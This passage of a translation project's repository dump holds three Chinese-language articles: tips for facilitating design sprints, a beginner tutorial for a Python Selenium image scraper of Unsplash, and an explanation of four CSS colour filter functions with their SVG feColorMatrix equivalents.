的流程，尤其是当我不得不去参与其他会议的情形，我喜欢跟着事先准备好的流程和时间表走。即使在无数设计冲刺之后，当我在引导时，我还是参考书本后的备忘录来提醒我接下来的步骤。章程能让你更好的完成你的工作。\n\n#### 3. 预先获得承诺或者不做 sprint\n\n人们在会议上出出入入会毁了 sprint（除非你很小心地计划列席会议，书中有更多相关内容）并且这一旦开始就很难结束，所以要么预先得到人们在房间里呆一段时间的承诺要么绝不做 sprint 。\n\n#### 4. 在开始之前对 sprint 做出解释\n\n当人们知道这活动如何融入整个团队时， sprint 将更简单。所以在开始冲刺的前一周，我给团队发送了这个 [90 秒 sprint 视频](https://www.youtube.com/watch?v=K2vSQPh6MCE) 以及链接到我的“[停止头脑风暴，开始 sprint ](https://medium.com/@jakek/stop-brainstorming-and-start-sprinting-16180839b43d) ”公示两者是快速和可浏览的。当然，如果每个人都预先看了[书](http://amzn.to/2sqGkwE)那是极好的（并且在我做 sprint 的少数场合有人预先看了书，那真是不可思议）但这并不现实。在 sprint 的第一个早晨，我在开始之前讲一个关于 sprint 会是怎么样的小故事。（你也许放一个 90 秒的视频，有声或者无声，所以他们会被提醒步骤是怎么样的。）并且在随后的每一天伊始，我提醒团队今天打算干什么。（如果你喜欢，你也可以用它们[天天视频](https://www.thesprintbook.com/videos) 。）\n\n#### 5. 请求许可\n\n一旦你已经解释了 sprint ，告诉团队你将要开始引导，保持事情进度符合时间表，并且驱动每个人一步一步走。问他们说 “听起来好吗？” 不要期待有多热情的回应 ———— 但这是一些关于获得团队的许可强有力的和象征性的事情。我从[查尔斯 沃伦](https://twitter.com/CHW)学到这些，一个我在谷歌遇到的在 IDEO（译者注：IDEO 公司由一群斯坦福大学毕业生创立于 1991 年，是全球顶尖的设计咨询公司。）工作多年的主引导者和伟大的老师。\n\n#### 6. 自行破冰\n\n我不喜欢破冰活动。如果房间里有怀疑论者，一个愚蠢的破冰活动能让你从一开始就可信度尽失。我想团队有我能够极好的利用他们的时间与精力的信心。这并不意味着我们不能有乐子，但我想快速实用的启动事情。并且最终自行破冰。保持耐心并且不要假定你不得不有一个破冰活动只是因为这是车间默认设置，这一开始会有些尴尬，但是请相信那些人会获得舒适的相处方式。他们总是这样的，以后你会很高兴拥有额外的时间。\n\n#### 7. 在黑板上写下名字\n\n记住他们的名字对引导者是很重要 —— 当你能使用名字称呼他们时会话将会变得更好。每当任何人对我来说是陌生人时，我喜欢在房间里四处走动并请求每个人介绍他们自己和在白板的一个角落写下他们的名字，制作一个房间的小地图。然后每个人，包括我，在想知道某个人的名字时可以参考它 —— 不需要姓名标签。\n\n#### 8. 假装自信（紧张是再正常不过的了）\n\n随着时间你将获得更多的自信，但同时你应该知道作为一个引导者在 sprint 开始之前或在 sprint 期间感到紧张是再自然不过的了。我参与过很多 sprint ，你会认为我不应该紧张，但我先于任何人清楚的感觉到紧张。但你需要在冲刺过程和团队之中表现出自信，即使你自己对其没有感到完全自信。\n\n#### 9. 别比任何人聪明\n\n你不会是这群人中最聪明的一个。如果你想你是，那你正在创造没必要的压力并且你自己有可能成为傻瓜。引导者是为了确保 sprint 发生，并且提供一个让每个人能够成功的框架。你不必要去解决问题或有惊人的洞察力。你不是一个演员乃至导演，你更像一个制片人。你不是煎蛋卷，而是煎蛋卷的平底锅。这是一份非常重要的职位，但不用着重变的聪明。我在 sprint 中和各种超级聪明的人在一起，我想给他们留下深刻印象 —— 有时甚至是我非常仰慕的著名创始人。但我很快地学到做最好的事并不是变得聪明，而是变得有助益的。而且变得有助益的最好的方式是让 sprint 运作起来，所以 hotshot 的首席执行官和她的天才团队能够解决问题。你问问题，做记录，保持时间观。这就意味着很多了，而且也很重要。\n\n#### 10. 充满能量\n\n你不需要为此疯狂，但你是 sprint 的电池。如果你处于低能量状态，那么团队也会变得低能量，而如果你积极向上，那么团队也将变得充满能量。\n\n#### 11. 稳定咖啡因的摄入以及喝很多水\n\n当我在引导时，我会非常留意我的咖啡因水平。我是个咖啡爱好者并且我总是冒险喝很多咖啡所以我会在一天伊始沉醉其中（当我高度紧张并且想获得高能量的时候），但如果我如此做了，我会为之付出代价并且在下午崩溃。取而代之，我抿一小口咖啡（如果它变冷了，我如此做是正确的）以及小剂量的红茶或绿茶来保持我一天的能量水平。我还有意的喝很多水，因为这会帮助我记忆 —— 警告，这是真的。\n\n#### 12. 90 分钟是小便的界限\n\n如果你补充水分，你不会忘记这个，但是记住 90 分钟是你除休息外的不起身走动的最大限度，因为人需要去小便。认真地，你掌控的时候，不要让人感到不舒服。\n\n#### 13. 给出正面的反馈\n\n找方式为他们在 sprint 中的工作给出积极的反馈。当有人说了一些澄清的话，说“这是一个很好的方法，非常有用。”这可能听起来有些虚伪，但这对团队的动力和信心有所裨益。\n\n#### 14. 承认尴尬\n\n如果你只是把人们聚集在房间里，那 design sprint 的过程不是人们想要一起工作的自然的方式。有时像在周三的批判中，或星期一你正在写“我们可以怎样”的笔记 —— 这是很不自然的。别试着像正常行为一样行动。多次反复后，我说“这也许会感到一些尴尬，”或者说“这看起来不自然，”然后我发现人们在听到他们不是唯一一个后会明显地松了一口气 —— 并且这通常削减那些想把精力放在过程上的人的困难。如果你已经嘲笑了他们，他们会没有任何冲劲。好吧，有时候他们会继续做下去。\n\n#### 15. 说真的，强制“无设备”\n\n别让人们使用他们的手机或者笔记本电脑。这样做是很不舒服的，但你必须这样做。让他们在外面打电话，收发电子邮件或者别的。说“我不得不让你在房间外使用它们，因为屏幕让每个人的难以集中精神。但是你回避去外面使用后再回来是完全没问题的。”每个人将会默默感谢你，并且你将会建立起尊重。抛开尊重不说，你必须认真把设备排除在 sprint 之外不然事情会变得糟糕。\n\n#### 16. 面对不同人的处理办法（ 3 个等级）\n\n好了，现在让我们深入讨论。当你遇到不同的人，一个侃侃而谈的人，一个没完没了的辩论者，一个浪费时间的人，或者一个混完完全全的笨蛋，会发生什么？你不得不处理这些，但你能有个好的开始。我用三个逐渐上升的等级：\n\n*   **等级1：记下并且继续——**把他们的论据写在白板上然后继续 sprint 。指责时间和时间表而不是人。说“让我们记下来来使我们可以继续下去，”或“这真是一个非常好的点，然而我们现在没有时间展开讨论，但我们后面可以回到这个点。”如果这个没有效果的话。\n*   **等级2：提醒他们过程将会处理它——**这是另外一个我喜欢设计 sprint 的理由：它给我诚实可靠的办法来结束浪费时间的会话。“让我们确保你的观点在（ sprint 问题/房间版图/作为一个“我们可以怎样”（译者注： HMW 指的是 How Might We ）的点）中得以体现。”或者说“你将有一个机会来简略描述你的解决方案”或者说“你将有一个机会来为你觉得最好的解决方案做一个案例”或者说“我们周五将能够获得一些初步的数据”。试着不要直接反对而是同意再直接询问：“是的，这是一个重要的点。好消息是在 sprint 后期。”如果这些都没有效果的话。\n*   **等级3：直言不讳——**在这一点你得放下暗示并且你需要去直接告诉这个人省省吧。你可能得到旁边跟这个人谈谈。“我真的看重你的贡献并且想要你参与到 sprint 中来。但为了这个项目成功，我需要你（平和你的语气/给这个过程一个机会）”。我发现提醒人们把这个过程当作实验是有帮助的 —— 原型和测试是一个实验，团队也能够评估以后这个过程本身是否有用，但如果他们在这个过程中抵制这个过程，我们就永远不会知道它是否有效。\n\n#### 17. “暂停”而不是“停止”\n\n当我需要打断团队的工作时，我喜欢用“暂停”这个词而不是“停止”。“让我们暂停这次会话。”这是一点小事，比起停止，这是一个好的词 —— 似乎更有礼貌（并且更容易被团队接受）。但是意思上是一样的。\n\n#### 18. 耐心与不耐心间的平衡\n\n好的引导需要在耐心和不耐心，自信和谦逊间有个平衡。保持耐心并且让团队谈论上几分钟，但是也要有一定的不耐心去提醒他们时间和缩短谈话 —— 谈话要么多产要么不谈 —— 当谈话变得太冗长。保持自信，团队才会对你有信心，对组织有信心，事情才能继续下去，但是要谦逊，让别人可以提出内容，见解和解决方案 —— 即使有时候是离题的。谦逊的一部分是有时让会话轻松愉快一些，因为这可能会让一些人产出令人惊喜的见解 —— 但你不能让这离题太远。随着时间的推移，你将会掌握平衡的技巧。当你刚刚开始的时候，相信书中的时间表，这是相当好的。随着时间推移，你将会知道还有多少时间可以让谈话进行下去，还有何时要说“决定者，我需要你打破平局让我们可以继续前进。”\n\n#### 19. 始终保持准时，即使你不是的\n\n另一个从查尔斯学到的是：始终保持行动与时间一致。你稍微落后于时间表的时候请不要担心 —— 我经常这样，这是相当有可能再次赶上的。但是别在团队里广而宣传你落后于时间表了。事实上，尽管你应该使用书中的时间指南来帮助你跟上时间表，但是我推荐不要把时间写在白板上或跟你的团队分享。如果你落后了，他们不需要知道这个，因为你会再次赶上。并且当团队对你有信心的时候你更容易赶上。\n\n#### 20. 归咎于书\n\n如果你不得不去催促人们，或者有些事情变得奇怪，你可以随时指责这个过程，或者书，还有我（指作者）。不是你说设备是不被允许使用的，是愚蠢的杰克。不是你说我们必须去做疯狂 8 秒钟，是书里写的，但是让我们试试看吧。\n\n![](https://cdn-images-1.medium.com/max/800/1*8IRv_6H8UgsKVrP86lO3FQ.png)\n\n这个过程变得令人讨厌不是你的错，而是这本愚蠢的书。\n\n#### 21.推动团队去做一些重要的事情（平衡理想主义和犬儒主义）\n\n在每天工作中，容易陷入被动反应和优化中 —— 但是在 design sprint 中，你也许有机会去重新设定路线。你也许可以做一些对你客户相当重要的事情。我说也许是因为这很困难。设计伟大的东西需要你以真诚的理想主义行事，而大多数工作场所都不鼓励这样做。\n\n试试看。提醒你自己和你的团队，为什么你们接受了这个职位或者开创了这家公司或者在第一时间注册了这个项目。不必达到最优。不必有反应。以“好做和做得好”为目标是没问题的。如果那听起来很理想，是的，那确实很理想。保持理想是没问题的，并且如果你有时候加入一些坦率的犬儒主义你会成功的做到这一些。这里告诉你应该如何做：\n\n*   **支持大胆的任务。**当设定一个长期目标时，通过说这样一些话：“我想要你们记住你们为什么开始这个项目，或是你为什么加入这个团队。就是现在，保持天真乐观。你们是为谁而做，你们将如何改善他们的生活？更加乐观一些，在一两年内我们能得到什么结果？”来推动团队流露自己的情感。当团队描述解决方案和决定原型的时候，把大胆的态度带回来。\n*   **支持坦率的犬儒主义。**但不要只做阳光船长。当列出冲刺问题时要做主要的镇静剂并且激励团队去“不切实际的愤世嫉俗”，像这样“事情怎么会这样分崩离析了呢？”和“我们不愿意承认的是这个计划的缺陷吗？” 和“我们最坏的诽谤者会怎么说？”你甚至可以质疑 sprint 的框架本身：“这个产品的长期效果对客户来说是积极的吗 —— 不管这周五的测试结果？”或者“这个项目对我们的时间是否有意义？对客户呢？”\n\n在你的第一次 sprint 中做这些事情可能不会让你感到舒服，但这是没问题的。当我创造一个 design sprint 过程时，我很沮丧，因为很多队伍浪费时间在构建平庸或毫无意义的产品（这是犬儒主义）当他们有机会走的更快，做一些极好的事情，并且让世界更美好。（这是荒谬的硅谷理想主义。）我始终相信硅谷理想主义是有效的。但是不要仅仅保持理想主义。并且不要做一个半途而废的理想主义者，结合犬儒主义让你缓和下来。拥抱两者并且做一些伟大的事情。\n\n#### 22. 得到代表\n\n你每次引导的都会更好更加自信。因此，即使你读完这本书并且在这个岗位上用了所有技巧，当你第一次做这个事情时，你依然不会是世界上最好的引导者。尽可能多地得到代表，并且知道前几次代表会给你最陡峭、最快的学习曲线。包括研习会和 sprint ，我可能已经引导了超过 200 件事情，而我还在学习新东西，但即使在 5 次之后，我在引导方面是有 85% 的可能性和现在一样舒适。提出引导一个团队会议或者半天的研讨会或者为别的团队的一次冲刺。尽可能快的做到 5 次代表经历。\n\n#### 23. 别把自己太当回事。\n\n如果能的话，你可以自嘲。嘲笑一群大人围坐在一份活动清单周围的荒谬之处。还有。\n\n#### 24. 享受其中\n\n运行一个 design sprint 是艰难的工作，这是毫无疑问的。但它应该变得有趣。对于我来说，这完全是最好的工作：一个有挑战性的问题，一段全神贯注的时间，一群一起工作的人并且带他们做到最好，建设性地反对，并且取得进展。在你的生活中，这将只是其中某一些时刻 —— 尽情享受它吧。\n\n还有一件事：记住，**你在 sprint 中不需要做到完美。**你的地图不需要做到完美（我的地图从来就不完美），你不需要把每件事都阐释得完美，你甚至不用记住这些技巧。这个过程是非常强健的，可以处理很多不完美的地方并且还能解决问题。仅仅需要问问题，做记录，有时间观念。 ⚡️\n\n如果你有问题或有自己的技巧，请在下面的评论区分享。谢谢！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/30-minute-python-web-scraper.md",
    "content": "> * 原文地址：[30-minute Python Web Scraper](https://hackernoon.com/30-minute-python-web-scraper-39d6d038e5da)\n> * 原文作者：[Angelos Chalaris](https://hackernoon.com/@chalarangelo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/30-minute-python-web-scraper.md](https://github.com/xitu/gold-miner/blob/master/TODO1/30-minute-python-web-scraper.md)\n> * 译者：[kezhenxu94](https://github.com/kezhenxu94/)\n> * 校对者：[luochen1992](https://github.com/luochen1992/) [leviding](https://github.com/leviding/)\n\n# 30 分钟 Python 爬虫教程\n\n一直想用 Python 和 [Selenium](http://www.seleniumhq.org/) 写一个网页爬虫，但一直都没去实现。直到几天前我才决定动手实现它。写代码从 [Unsplash](https://unsplash.com/) 网站上抓取一些漂亮的图片，这看起来好像是非常艰巨的事情，但实际上却是极其简单。\n\n![](https://cdn-images-1.medium.com/max/2000/1*9wHrewC1Dyf2Au_qEqwWcg.jpeg)\n\n图片来源：[Blake Connally](https://unsplash.com/@blakeconnally) 发布于 [Unsplash.com](https://unsplash.com/photos/B3l0g6HLxr8)\n\n#### 简单图片爬虫的原料\n\n*   [Python](https://www.python.org/downloads/) (3.6.3 或以上)\n*   [Pycharm](https://www.jetbrains.com/pycharm/download/#section=windows) (社区版就已经足够了)\n*   pip install [requests](http://docs.python-requests.org/en/master/user/install/#install) [Pillow](https://pillow.readthedocs.io/en/latest/installation.html#basic-installation) [selenium](http://selenium-python.readthedocs.io/installation.html#downloading-python-bindings-for-selenium)\n*   [geckodriver](https://github.com/mozilla/geckodriver/releases/latest) (具体见下文)\n*   [Mozlla Firefox](https://www.mozilla.org/en-US/firefox/new/) (如果你没有安装过的话)\n*   正常的网络连接（显然需要的）\n*   你宝贵的 30 分钟（也许更少）\n\n#### 简单图片爬虫的菜谱\n\n以上的所有都安装好了？棒！在我们继续开始写代码前，我先来解释一下以上这些原料都是用来干什么的。\n\n我们首先要做的是利用 **Selenium webdriver** 和 **geckodriver** 来为我们打开一个浏览器窗口。首先，在 **Pycharm** 中新建一个项目，根据你的操作系统下载最新版的 geckodriver，将其解压并把 geckodriver 文件拖到项目文件夹中。Geckodriver 本质上就是一个能让 Selenium 控制 Firefox 的工具，因此我们的项目需要它来让浏览器帮我们做一些事。\n\n接下来我们要做的事就是从 Selenium 中导入 webdriver 到我们的代码中，然后连接到我们想爬取的 URL 地址。说做就做：\n\n```python\nfrom selenium import webdriver\n# 我们想要浏览的 URL 链接\nurl = \"https://unsplash.com\"\n# 使用 Selenium 的 webdriver 来打开这个页面\ndriver = webdriver.Firefox(executable_path=r'geckodriver.exe')\ndriver.get(url)\n```\n\n打开浏览器窗口到指定的 URL。\n\n![](https://cdn-images-1.medium.com/max/800/1*SXfVW1B1UiQakb200l9EmA.png)\n\n一个远程控制的 Firefox 窗口。\n\n相当容易对吧？如果以上所说你都正确完成了，你已经攻克了最难的那部分了，此时你应该看到一个类似于以上图片所示的浏览器窗口。\n\n接下来我们就应该**向下滚动**以便更多的图片可以加载出来，然后我们才能够将它们下载下来。我们还想再**等几秒钟**，以便万一网络连接太慢了导致图片没有完全加载出来。由于 Unsplash 网站是使用 React 构建的，等个 5 秒钟似乎已经足够”慷慨”了，那就使用 Python 的 `time` 包等个 5 秒吧，我们还要使用一些 Javascript 代码来滚动网页——我们将会用到 `[window.scrollTo()](https://developer.mozilla.org/en-US/docs/Web/API/Window/scrollTo)` 函数来实现这个功能。将以上所说的合并起来，最终你的代码应该像这样：\n\n```python\nimport time\nfrom selenium import webdriver\n\nurl = \"https://unsplash.com\"\n\ndriver = webdriver.Firefox(executable_path=r'geckodriver.exe')\ndriver.get(url)\n# 向下滚动页面并且等待 5 秒钟\ndriver.execute_script(\"window.scrollTo(0,1000);\")\ntime.sleep(5)\n```\n\n滚动页面并等待 5 秒钟。\n\n测试完以上代码后，你应该会看到浏览器的页面稍微往下滚动了一些。下一步我们要做的就是找到我们要下载的那些图片。在探索了一番 React 生成的代码之后，我发现了我们可以使用一个 **CSS 选择器**来定位到网页上画廊的图片。网页上的布局和代码在以后可能会发生改变，但目前我们可以使用 `#gridMulti img` 选择器来获得屏幕上可见的所有 `<img>` 元素。\n\n我们可以通过 `[find_elements_by_css_selector()](http://selenium-python.readthedocs.io/api.html#selenium.webdriver.remote.webdriver.WebDriver.find_element_by_css_selector)` 得到这些元素的一个列表，但我们想要的是这些元素的 `src` 属性。我们可以遍历这个列表并一一抽取出 `src` 来：\n\n```python\nimport time\nfrom selenium import webdriver\n\nurl = \"https://unsplash.com\"\n\ndriver = webdriver.Firefox(executable_path=r'geckodriver.exe')\ndriver.get(url)\n\ndriver.execute_script(\"window.scrollTo(0,1000);\")\ntime.sleep(5)\n# 选择图片元素并打印出他们的 URL\nimage_elements = driver.find_elements_by_css_selector(\"#gridMulti img\")\nfor image_element in image_elements:\n    image_url = image_element.get_attribute(\"src\")\n    print(image_url)\n```\n\n选择图片元素并获得图片 URL。\n\n现在为了真正获得我们找到的图片，我们会使用 `requests` 库和 `PIL` 的部分功能，也就是 `Image`。我们还会用到 `io` 库里面的 `BytesIO` 来将图片写到文件夹 `./images/` 中（在项目文件夹中创建）。现在把这些都一起做了，我们要先往每张图片的 URL 链接发送一个 **HTTP GET 请求**，然后使用 `Image` 和 `BytesIO` 来将返回的图片**存储**起来。以下是实现这个功能的其中一种方式：\n\n```python\nimport requests\nimport time\nfrom selenium import webdriver\nfrom PIL import Image\nfrom io import BytesIO\n\nurl = \"https://unsplash.com\"\n\ndriver = webdriver.Firefox(executable_path=r'geckodriver.exe')\ndriver.get(url)\n\ndriver.execute_script(\"window.scrollTo(0,1000);\")\ntime.sleep(5)\nimage_elements = driver.find_elements_by_css_selector(\"#gridMulti img\")\ni = 0\n\nfor image_element in image_elements:\n    image_url = image_element.get_attribute(\"src\")\n    # 发送一个 HTTP GET 请求，从响应内容中获得图片并将其存储\n    image_object = requests.get(image_url)\n    image = Image.open(BytesIO(image_object.content))\n    image.save(\"./images/image\" + str(i) + \".\" + image.format, image.format)\n    i += 1\n```\n\n下载图片。\n\n这就是爬取一堆图片所需要做的所有了。很显然的是，除非你想随便找些图片素材来做个设计原型，否则这个小小的爬虫用处可能不是很大。所以我花了点时间来优化它，加了些功能：\n\n*   允许用户通过指定一个命令行参数来指定**搜索查询**，还有一个数值参数指定向下滚动次数，这使得页面可以显示更多的图片可供我们下载。\n*   可以自定义的 CSS 选择器。\n*   基于搜索查询关键字的自定义**结果文件夹**。\n*   通过截断图片的预览图链接来获得全**高清图片**。\n*   基于图片的 URL 给图片文件命名。\n*   爬取最终结束后关闭浏览器。\n\n你可以（你也应该）尝试自己实现这些功能。全功能版本的爬虫可以在[这里](https://github.com/Chalarangelo/unscrape)下载。记得要先按照文章开头所说的，下载 [geckodriver](https://github.com/mozilla/geckodriver/releases/latest) 然后连接到你的项目中。\n\n* * *\n\n#### 不足之处，注意事项和未来优化项\n\n整个项目是一个简单的“验证概念”，以弄清楚网页爬虫是如何做的，这也就意味着有很多东西可以做，来优化这个小工具：\n\n*   没有致谢图片最开始的上传者是个很不好的做法。Selenium 肯定是有能力处理这种情况的，那么每个图片都带有作者的名字。\n*   Geckodriver 不应该被放在项目文件夹中，而是安装在全局环境下，并被放到 `PATH` 系统变量中。\n*   搜索功能可以轻易地扩展到多个查询关键字，那么下载很多类型图片地过程就可以被简化了。\n*   默认浏览器可以用 Chrome 替代 Firefox，甚至可以用 [PhantomJS](http://phantomjs.org/) 替代，这对这种类型的项目来说是更好的。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/4-css-filters-for-adjusting-color.md",
    "content": "> * 原文地址：[4 CSS Filters For Adjusting Color](https://vanseodesign.com/css/4-css-filters-for-adjusting-color/)\n> * 原文作者：[Steven Bradley](https://www.vanseodesign.com/about/) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/4-css-filters-for-adjusting-color.md](https://github.com/xitu/gold-miner/blob/master/TODO1/4-css-filters-for-adjusting-color.md)\n> * 译者：[acev](https://github.com/acev-online)\n> * 校对者：[lgh757079506](https://github.com/lgh757079506), [Baddyo](https://github.com/Baddyo)\n\n# 4 个 CSS 调色滤镜\n\nSVG 提供了一种非破坏性的方式来更改图像或图形的某些颜色属性。但不幸的是，有一些更改实现起来比较麻烦。CSS 滤镜允许你以非破坏性的方式更改某些颜色属性，并且比 SVG 滤镜更简单。\n\n过去几周里，我一直把 CSS 滤镜作为 SVG 滤镜的备选方案来探讨。首先我[大体介绍了一下滤镜](http://vanseodesign.com/css/css-filters-introduction/)，并展示了滤镜函数 blur() 的示例；然后我介绍了 [url() 和 drop-shadow() 滤镜函数](http://vanseodesign.com/css/drop-shadow-filter/)并分别提供了示例。\n\n今天我想带你了解另外四个 CSS 滤镜函数，这些函数都是 SVG 滤镜函数 feColorMatrix 不同类型和值的快捷方式。\n\n## feColorMatrix\n\nfeColorMatrix 可以作为更改元素中某些[颜色基本属性](http://vanseodesign.com/web-design/hue-saturation-and-lightness/)的一般方法。顾名思义，它通过使用值矩阵来为元素添加不同的滤镜效果。\n\nCSS 中有四个不同的滤镜函数，它们可以复制使用 [feColorMatrix](http://vanseodesign.com/web-design/svg-filter-primitives-fecolormatrix/) 创建的效果。这有力地证明了，单个 SVG 滤镜比任何一个单独的 CSS 滤镜函数都要强大。\n\n以下是那四个 CSS 滤镜：\n\n- grayscale();\n- hue-rotate();\n- saturate();\n- sepia();\n\n那就让我们依次探究这些 CSS 滤镜函数，用它们为这张熟悉的（如果你一直在关注本系列文章的话）图片改变颜色吧。\n\n![strawberry.jpg](https://i.loli.net/2019/06/11/5cfe904a4ed7316962.jpg)\n\n## grayscale()\n\ngrayscale() 将图像转换为灰度图像。\n\n```\ngrayscale() = grayscale( [ <number> | <percentage> ] )\n```\n\n你可以通过提供介于 0.0 和 1.0 之间的数字或 0% 到 100% 之间的百分比来确定转换图像的比例。100%（或 1.0）将图像完全转换为[灰度](http://vanseodesign.com/web-design/luminance-working-in-grayscale/)图像，0%（或 0.0）不会转换图像。0.0 到 1.0（或 0% 到 100%）之间的值是效果的线性乘数。不允许使用负值。\n\n在第一个例子中，我给滤镜函数传入了值 1，给图片赋予了 100% 灰度的效果。\n\n```css\n.strawberry {\n filter: grayscale(1);\n}\n```\n\n原始图像包含大量灰色，但我认为你依然可以看到滤镜的效果，因为现在所有彩色都已被擦除。\n\n![](https://i.loli.net/2019/06/11/5cfe8f0c2a04c14602.jpg)\n\n为了比较，我在下面列出了与滤镜函数等效的矩阵实现方式。公平地说，使用 feColorMatrix 来删除彩色的更简便方法，是把 type 属性设置为 saturate。我稍后会告诉你的。\n\n```html\n<filter id=\"grayscale\">\n <feColorMatrix type=\"matrix\"\n    values=\"(0.2126 + 0.7874 * [1 - amount]) (0.7152 - 0.7152 * [1 - amount]) (0.0722 - 0.0722 * [1 - amount]) 0 0\n            (0.2126 - 0.2126 * [1 - amount]) (0.7152 + 0.2848 * [1 - amount]) (0.0722 - 0.0722 * [1 - amount]) 0 0\n            (0.2126 - 0.2126 * [1 - amount]) (0.7152 - 0.7152 * [1 - amount]) (0.0722 + 0.9278 * [1 - amount]) 0 0 0 0 0 1 0\"/>\n</filter>\n```\n\n尽管如此，这个示例仍是 CSS 滤镜功能更易用的有力佐证。使用这个特定矩阵，只是因为我在网上看到了该方法的一个应用示例。我不需要在滤镜函数中搜索值 1。\n\n## hue-rotate()\n\nhue-rotate() 按指定的量更改元素中每个像素的色调。\n\n```\nhue-rotate() = hue-rotate( <angle> )\n```\n\n参数 angle（角度）以度为单位，你需要将单位指定为 deg。0deg 使元素保持不变，360deg 的任意倍数（720deg、1080deg、1440px 等）也是如此。\n\n在这个例子中，我将色相旋转了 225 度。\n\n```css\n.strawberry {\n filter: hue-rotate(225deg);\n}\n```\n\n该值将原本是红色和黄色的花色，变得更加偏向粉色、紫色和蓝色。\n\n![](https://i.loli.net/2019/06/11/5cfe8f0c2bf0c97252.jpg)\n\n这是用于比较的 SVG 滤镜。相比之下，CSS 滤镜仍然更简单，但在这种情况下的差距不大。\n\n```html\n<filter id=\"hue-rotate\">\n <feColorMatrix type=\"hueRotate\" values=\"225\"/>\n</filter>\n```\n\n## saturate()\n\nCSS 还提供了 saturate()，可用于提高或降低元素颜色的饱和度。\n\n```\nsaturate() = saturate( [ <number> | <percentage> ] )\n```\n\n与灰度函数一样，该函数的参数值定义了转换的比例。0%（或 0.0）使元素完全去饱和，100%（1.0）使元素保持不变。0 到 100 之间的值是效果的线性乘数。\n\n在这里，我将元素设置为 50% 饱和度。\n\n```css\n.strawberry {\n filter: saturate(0.5);\n}\n```\n\n这生成了下面的图像效果。\n\n![](https://i.loli.net/2019/06/11/5cfe8f0c2dd0b48070.jpg)\n\nsaturate() 不允许使用负值，但你可以设置大于 100% 或 1.0 的值使元素过饱和。下面是同一张图片施加 900% 饱和度的效果（`filter: saturate(9);`）。\n\n![](https://i.loli.net/2019/06/11/5cfe8f0d1d1d649096.jpg)\n\n和 saturate() 对应的 SVG 滤镜也很简单。\n\n```html\n<filter id=\"saturate\">\n <feColorMatrix type=\"saturate\" values=\"0.5\"/>\n</filter>\n```\n\n在之前我曾经提到，用 feColorMatrix 来创建灰度图像，有一种更简单的方式，那就是把 type 属性设为 saturate。你所要做的就是将值设置为 0 以使图像完全去饱和，这与将其设置为 `saturate(100%)` 相同。\n\n## sepia()\n\n最后是 sepia()，它将图像转换为棕褐色。\n\n```\nsepia() = sepia( [ <number> | <percentage> ] )\n```\n\n现在你应该很熟悉这种写法了。这里的值定义了转换比例，100%（1.0）展现为完全棕褐色，0%（0.0）使图像效果保持不变。从 0% 到 100%，效果线性增强。\n\n这个函数不允许使用负值，你可以设置大于 100%（1.0）的值，但效果不会继续增强。\n\n这里我将 sepia 设为 75%：\n\n```css\n.strawberry {\n filter: sepia(75%);\n}\n```\n\n下图是滤镜的效果展示：\n\n![5.jpg](https://i.loli.net/2019/06/11/5cfe8f0d12a1a21806.jpg)\n\nfeColorMatrix 不支持棕褐色效果模式。如果要获得相同的棕褐色效果，你需要使用另一个模型。\n\n```html\n<filter id=\"sepia\">\n <feColorMatrix type=\"matrix\"\n    values=\"(0.393 + 0.607 * [1 - amount]) (0.769 - 0.769 * [1 - amount]) (0.189 - 0.189 * [1 - amount]) 0 0\n            (0.349 - 0.349 * [1 - amount]) (0.686 + 0.314 * [1 - amount]) (0.168 - 0.168 * [1 - amount]) 0 0\n            (0.272 - 0.272 * [1 - amount]) (0.534 - 0.534 * [1 - amount]) (0.131 + 0.869 * [1 - amount]) 0 0 0 0 0 1 0\"/>\n</filter>\n```\n\n我认为，在达成相同效果上，SVG 可以为你提供更大的灵活性，CSS 滤镜函数更简单。\n\n## 结论\n\n上面提到的这四个 CSS 滤镜函数都是 feColorMatrix 的快捷方式。其中有两个（`grayscale()` 和 `sepia()`）替换了复杂矩阵，另外两个替换了特定类型的函数。\n\n我希望你能了解到这四个滤镜函数都简单易用好理解。但恐怕你在使用这些函数调整图像图形参数时，还是会遇到一些困难。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 